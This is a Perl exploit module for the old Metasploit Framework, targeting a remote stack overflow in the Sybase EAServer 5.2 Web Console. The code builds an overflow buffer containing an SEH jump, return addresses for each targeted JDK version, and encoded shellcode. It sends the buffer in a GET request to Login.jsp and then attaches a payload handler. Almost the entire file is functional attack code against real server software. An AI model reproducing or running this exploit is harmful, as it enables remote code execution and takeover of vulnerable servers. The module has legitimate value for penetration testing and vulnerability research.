package Msf::Exploit::sybase_easerver;
use strict;
use base "Msf::Exploit";
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Sybase EAServer 5.2 Remote Stack Overflow',
'Version' => '$Revision: 1.4 $',
'Authors' => [ 'anonymous' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winxp', 'win2k', 'win2003' ],
'Priv' => 1,

'AutoOpts' =>
{
'EXITFUNC' => 'thread'
},

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 8080 ],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'DIR' => [1, 'DATA', 'Directory of Login.jsp script', '/WebConsole/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
'Prepend' => "\x81\xc4\x1f\xff\xff\xff\x44", # make stack happy
'Keys' => ['+ws2ord'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Sybase EAServer Web
Console. The offset to the SEH frame appears to change depending
on what version of Java is in use by the remote server, making this
exploit somewhat unreliable.
}),

'Refs' =>
[
['BID', 14287],
],

'Targets' =>
[
# Technically we could combine these into a single multi-return string...
[ 'Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', 0x6d4548ff, 3820],
[ 'Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?', 0x6d4548ff, 3841],
[ 'Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', 0x08041b25, 3912],
[ 'Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', 0x08041b25, 3925],
],

'Keys' => ['easerver'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $dir = $self->GetVar('DIR');
my $target = $self->Targets->[$target_idx];

$self->PrintLine( "[*] Attempting to exploit " . $target->[0] );

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'SSL' => $self->GetVar('SSL'),
);

if ( $s->IsError ) {
$self->PrintLine( '[*] Error creating socket: ' . $s->GetError );
return;
}

my $crash = Pex::Text::AlphaNumText(5000);

substr($crash, $target->[2] - 4, 2, "\xeb\x06");
substr($crash, $target->[2] , 4, pack("V", $target->[1]));
substr($crash, $target->[2] + 4, length($shellcode), $shellcode);

$dir = $dir . "Login.jsp?" . $crash;

my $request =
"GET $dir HTTP/1.1\r\n".
"Accept: */*\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
"Host: $target_host:$target_port\r\n".
"Connection: Close\r\n".
"\r\n";

$s->Send($request);

$self->PrintLine("[*] Overflow request sent, sleeping for four seconds");
select(undef, undef, undef, 4);

$self->Handler($s);
return;
}